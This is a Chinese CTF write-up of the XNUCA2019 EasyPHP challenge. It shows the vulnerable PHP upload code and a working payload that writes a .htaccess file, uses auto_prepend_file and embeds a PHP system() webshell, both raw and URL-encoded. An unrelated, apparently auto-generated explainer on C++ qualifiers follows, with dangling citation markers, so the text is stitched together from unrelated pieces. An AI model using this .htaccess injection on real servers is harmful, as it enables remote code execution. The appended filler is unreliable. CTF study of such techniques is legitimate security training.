[XNUCA2019Qualifier]EasyPHP

文章介绍了如何利用.htaccess文件进行文件过滤和内容注入,提到了PHP中的auto_prepend_file功能来包含恶意代码,并展示了payload示例。同时,文章提醒读者关注.htaccess的安全配置,防止被黑客利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点: .htaccess 利用

代码主要有两个过滤:

一个是文件名:以 a-z 以及 . 开头,这里就很巧妙了,什么文件以点开头,配置文件啊。
另一个就是对文件内容的过滤,基本等于没有,可以用注释和行拼接绕过。

php 的 .htaccess 文件中可以用 # 号注释某行,也可以用 \ 拼接上下两行,那么我们可以直接在 .htaccess 里写 shell,加上 auto_prepend_file 设置把 shell 包含到 index.php 中。

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

payload: 当然要对代码 url 编码一下

?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess
?content=php_value%20auto_prepend_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffl*')%3B%3F%3E%5C&filename=.htaccess

.htaccess 的各种利用 y4 师傅的文章就写的很详细,其中还有很多解决这道题的方法,这边就不一一列举了。

https://blog.youkuaiyun.com/solitudi/article/details/116666720

### Qualifier 的定义与用法 在编程和软件开发领域,`Qualifier` 是一个重要的术语,通常用于描述某些特定的功能或属性。以下是关于 `Qualifier` 的一些常见概念及其应用: #### 1. 访问限定符 (Access Qualifiers) 访问限定符主要用于控制类成员的可见性和可访问性。常见的访问限定符包括: - **Public**: 类的公共部分,任何地方都可以访问。 - **Private**: 类的私有部分,仅限于该类内部访问。 - **Protected**: 类的保护部分,允许当前类以及其子类访问。 这些限定符广泛应用于面向对象编程语言中,例如 C++ 和 Java[^1]。 #### 2. 存储类别限定符 (Storage Class Specifiers) 存储类别限定符决定了变量的作用域、生命周期以及其他特性。典型的例子包括: - **Static**: 静态变量在整个程序运行期间保持存在。 - **Extern**: 声明外部变量,表示该变量是在其他文件中定义的。 - **Register**: 提示编译器将变量存储在寄存器中以提高性能(现代编译器可能忽略此提示)。 这类限定符主要见于 C/C++ 编程语言中[^3]。 #### 3. 类型限定符 (Type Qualifiers) 类型限定符用来修改类型的性质。例如,在 C/C++ 中: - **Const**: 表示不可更改的数据。 - **Volatile**: 表示可能会被未知因素改变的变量(如硬件中断)。 这种机制可以增强代码的安全性和效率[^3]。 #### 4. 注解/修饰符 (Annotations / Modifiers) 在高级编程环境中,“Qualifier”也可能指代某种形式的注解或者修饰符。比如 Python 的装饰器 (@decorator),Java 的注解 (@Annotation) 等等。它们提供了额外的信息来影响目标的行为或语义[^1]。 #### 示例代码展示 下面是一个简单的 C++ 示例展示了如何使用不同的 qualifier: ```cpp #include <iostream> using namespace std; class Example { private: // Private Access Qualifier int privateVar; protected: // Protected Access Qualifier int protectedVar; public: // Public Access Qualifier static int publicStaticVar; // Static Storage Class Specifier const char* getConstString() const { return "Constant String"; } }; int Example::publicStaticVar = 0; void exampleFunction(const Example& obj){ cout << obj.getConstString(); // Using Const Type Qualifier } ``` 以上代码片段包含了多种不同种类的 qualifiers 使用方式。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值